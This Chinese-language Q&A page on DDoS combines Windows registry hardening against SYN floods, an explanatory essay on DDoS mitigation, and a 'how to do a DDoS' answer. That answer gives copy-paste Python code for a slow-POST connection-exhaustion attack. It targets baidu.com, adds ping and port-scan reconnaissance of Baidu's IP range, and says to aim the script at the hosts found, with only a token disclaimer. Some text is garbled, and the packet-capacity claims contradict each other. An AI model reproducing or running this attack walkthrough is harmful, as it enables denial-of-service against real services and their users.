DDOS攻击的具体步骤
针对目前各大传奇私服站长受到盛大或者某些卑鄙小人的无耻行为,我特地整理了防止DDOS的攻击资料!
绝对可以防止针对传奇端口,或者WEB的大流量的DDOS承受大约40万个包的攻击量
设置保护80.7000.7100.7200等你的传奇端口的。
然后按下面整理的注册表修改或者添加下面的数值。
请注意,以下的安全设置均通过注册表进行修改,该设置的性能取决于服务器的配置,尤其是CPU的处理能力。如按照如下进行安全设置,采用双路至强2.4G的服务器配置,经过测试,可承受大约1万个包的攻击量。
接下来你就可以高枕无忧了。
一部份DDOS我们可以通过DOS命令netstat -an|more或者网络综合分析软件:sniff等查到相关攻击手法、如攻击某个主要端口、或者对方主要来自哪个端口、对方IP等。这样我们可以利用w2k自带的远程访问与路由或者IP策略等本身自带的工具解决掉这些攻击。做为无法利用这些查到相关数据的我们也可以尝试一下通过对服务器进行安全设置来防范DDOS攻击。
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
'关闭无效网关的检查。当服务器设置了多个网关,这样在网络不通畅的时候系统会尝试连接
'第二个网关,通过关闭它可以优化网络。
"EnableDeadGWDetect"=dword:00000000
'禁止响应ICMP重定向报文。此类报文有可能用以攻击,所以系统应该拒绝接受ICMP重定向报文。
"EnableICMPRedirects"=dword:00000000
'不允许释放NETBIOS名。当攻击者发出查询服务器NETBIOS名的请求时,可以使服务器禁止响应。
'注意系统必须安装SP2以上
"NonameReleaseOnDemand"=dword:00000001
'发送验证保持活动数据包。该选项决定TCP间隔多少时间来确定当前连接还处于连接状态,
'不设该值,则系统每隔2小时对TCP是否有闲置连接进行检查,这里设置时间为5分钟。
"KeepAliveTime"=dword:000493e0
'禁止进行最大包长度路径检测。该项值为1时,将自动检测出可以传输的数据包的大小,
'可以用来提高传输效率,如出现故障或安全起见,设项值为0,表示使用固定MTU值576bytes。
"EnablePMTUDiscovery"=dword:00000000
'启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后
'安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值
'设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。
"SynAttackProtect"=dword:00000002
'同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态
'的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。
"TcpMaxHalfOpen"=dword:00000064
'判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。
"TcpMaxHalfOpenRetried"=dword:00000050
'设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。
'项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。
'微软站点安全推荐为2。
"TcpMaxConnectResponseRetransmissions"=dword:00000001
'设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。
"TcpMaxDataRetransmissions"=dword:00000003
'设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。
"TCPMaxPortsExhausted"=dword:00000005
'禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的
'源路由包,微软站点安全推荐为2。
"DisableIPSourceRouting"=dword:0000002
'限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。
"TcpTimedWaitDelay"=dword:0000001e
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
'增大NetBT的连接块增加幅度。缺省为3,范围1-20,数值越大在连接越多时提升性能。每个连接块消耗87个字节。
"BacklogIncrement"=dword:00000003
'最大NetBT的连接快的数目。范围1-40000,这里设置为1000,数值越大在连接越多时允许更多连接。
"MaxConnBackLog"=dword:000003e8
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Afd\Parameters]
'配置激活动态Backlog。对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog。
"EnableDynamicBacklog"=dword:00000001
'配置最小动态Backlog。默认项值为0,表示动态Backlog分配的自由连接的最小数目。当自由连接数目
'低于此数目时,将自动的分配自由连接。默认值为0,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20。
"MinimumDynamicBacklog"=dword:00000014
'最大动态Backlog。表示定义最大"准"连接的数目,主要看内存大小,理论每32M内存最大可以
'增加5000个,这里设为20000。
"MaximumDynamicBacklog"=dword:00002e20
'每次增加的自由连接数据。默认项值为5,表示定义每次增加的自由连接数目。对于网络繁忙或者易遭受SYN攻击
'的系统,建议设置为10。
"DynamicBacklogGrowthDelta"=dword:0000000a
以下部分需要根据实际情况手动修改
'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
'启用网卡上的安全过滤
'"EnableSecurityFilters"=dword:00000001
'
'同时打开的TCP连接数,这里可以根据情况进行控制。
'"TcpNumConnections"=
'
'该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置可以提高 SYN 攻击期间的响应性能。
'"TcpMaxSendFree"=
'
'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{自己的网卡接口}]
'禁止路由发现功能。ICMP路由通告报文可以被用来增加路由表纪录,可以导致攻击,所以禁止路由发现。
"PerformRouterDiscovery "=dword:00000000
什么是DDOS?怎么攻击的、怎么防啊?仔细说说·
分类: 电脑/网络
解析:
什么是DDos与防DDos攻击的策略
一、阻断服务(Denial of Service)
在探讨 DDoS 之前我们需要先对 DoS 有所了解,DoS泛指黑客试图妨碍正常使用者使用网络上的服务,例如剪断大楼的电话线路造成用户无法通话。而以网络来说,由于频宽、网络设备和服务器主机等处理的能力都有其限制,因此当黑客产生过量的网络封包使得设备处理不及,即可让正常的使用者无法正常使用该服务。例如黑客试图用大量封包攻击一般频宽相对小得多的拨接或 ADSL 使用者,则受害者就会发现他要连的网站连不上或是反应十分缓慢。
DoS 攻击并非入侵主机也不能窃取机器上的资料,但是一样会造成攻击目标的伤害,如果攻击目标是个电子商务网站就会造成顾客无法到该网站购物。
二、分布式阻断服务(Distributed Denial of Service)
DDoS 则是 DoS 的特例,黑客利用多台机器同时攻击来达到妨碍正常使用者使用服务的目的。黑客预先入侵大量主机以后,在被害主机上安装 DDoS 攻击程控被害主机对攻击目标展开攻击;有些 DDoS 工具采用多层次的架构,甚至可以一次控制高达上千台电脑展开攻击,利用这样的方式可以有效产生极大的网络流量以瘫痪攻击目标。早在2000年就发生过针对Yahoo, eBay, Buy 和 CNN 等知名网站的DDoS攻击,阻止了合法的网络流量长达数个小时。
DDoS 攻击程序的分类,可以依照几种方式分类,以自动化程度可分为手动、半自动与自动攻击。早期的 DDoS 攻击程序多半属于手动攻击,黑客手动寻找可入侵的计算机入侵并植入攻击程序,再下指令攻击目标;半自动的攻击程序则多半具有 handler 控制攻击用的agent 程序,黑客散布自动化的入侵工具植入 agent 程序,然后使用 handler 控制所有agents 对目标发动 DDoS 攻击;自动攻击更进一步自动化整个攻击程序,将攻击的目标、时间和方式都事先写在攻击程序里,黑客散布攻击程序以后就会自动扫描可入侵的主机植入 agent 并在预定的时间对指定目标发起攻击,例如近期的 W32/Blaster 网虫即属于此类。
若以攻击的弱点分类则可以分为协议攻击和暴力攻击两种。协议攻击是指黑客利用某个网络协议设计上的弱点或执行上的 bug 消耗大量资源,例如 TCP SYN 攻击、对认证伺服器的攻击等;暴力攻击则是黑客使用大量正常的联机消耗被害目标的资源,由于黑客会准备多台主机发起 DDoS 攻击目标,只要单位时间内攻击方发出的网络流量高于目标所能处理速度,即可消耗掉目标的处理能力而使得正常的使用者无法使用服务。
若以攻击频率区分则可分成持续攻击和变动频率攻击两种。持续攻击是当攻击指令下达以后,攻击主机就全力持续攻击,因此会瞬间产生大量流量阻断目标的服务,也因此很容易被侦测到;变动频率攻击则较为谨慎,攻击的频率可能从慢速渐渐增加或频率高低变化,利用这样的方式延缓攻击被侦测的时间。
三、从 DDoS 攻击下存活
那么当遭受 DDoS 攻击的时候要如何设法存活并继续提供正常服务呢?由先前的介绍可以知道,若黑客攻击规模远高于你的网络频宽、设备或主机所能处理的能力,其实是很难以抵抗攻击的,但仍然有一些方法可以减轻攻击所造成的影响。
首先是调查攻击来源,由于黑客经由入侵机器进行攻击,因此你可能无法查出黑客是由哪里发动攻击,我们必须一步一步从被攻击目标往回推,先调查攻击是由管辖网络的哪些边界路由器进来,上一步是外界哪台路由器,连络这些路由器的管理者(可能是某个ISP或电信公司)并寻求他们协助阻挡或查出攻击来源,而在他们处理之前可以进行哪些处理呢?
如果被攻击的目标皇堑ヒ?ip,那么试图改个 ip 并更改其 DNS mapping 或许可以避开攻击,这是最快速而有效的方式;但是攻击的目的就是要使正常使用者无法使用服务,更改ip的方式虽然避开攻击,以另一角度来看黑客也达到了他的目的。此外,如果攻击的手法较为单纯,可以由产生的流量找出其规则,那么利用路由器的 ACLs(Access Control Lists)或防火墙规则也许可以阻挡,若可以发现流量都是来自同一来源或核心路由器,可以考虑暂时将那边的流量挡起来,当然这还是有可能将正常和异常的流量都一并挡掉,但至少其它来源可以得到正常的服务,这有时是不得已的牺牲。如果行有余力,则可以考虑增加机器或频宽作为被攻击的缓冲之用,但这只是治标不治本的做法。最重要的是必须立即着手调查并与相关单位协调解决。
四、预防DDoS攻击
DDoS 必须透过网络上各个团体和使用者的共同合作,制定更严格的网络标准来解决。每台网络设备或主机都需要随时更新其系统漏洞、关闭不需要的服务、安装必要的防毒和防火墙软件、随时注意系统安全,避免被黑客和自动化的 DDoS 程序植入攻击程序,以免成为黑客攻击的帮凶。
有些 DDoS 会伪装攻击来源,假造封包的来源 ip,使人难以追查,这个部份可以透过设定路由器的过滤功能来防止,只要网域内的封包来源是其网域以外的 ip,就应该直接丢弃此封包而不应该再送出去,如果网管设备都支持这项功能,网管人员都能够正确设定过滤掉假造的封包,也可以大量减少调查和追踪的时间。
网域之间保持联络是很重要的,如此才能有效早期预警和防治 DDoS 攻击,有些 ISP会在一些网络节点上放置感应器侦测突然的巨大流量,以提早警告和隔绝 DDoS 的受害区域,降低顾客的受害程度。
如何进行DDOS攻击怎么做
会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可
代码:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。
所以,最好用Windows里的PING进行检测
操作:
在Windows搜索栏里输入:cmd
输入:
ping -n 10 -l 1 baidu.com
//这里拿百度做示范,别真打百度!
那么,就会发现,系统反映了:
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 26ms,最长 = 29ms,平均 = 27ms
说明,百度的服务器有一个主服务器是39.156.69.79
那么,就来查找百度的所有服务器吧!
输入以下代码:
#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否
#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池,允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程,同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池,close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现,Python反映了:
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!
接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!
DDOS攻击到底是什么啊?通俗一点的解释呢?
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
0条大神的评论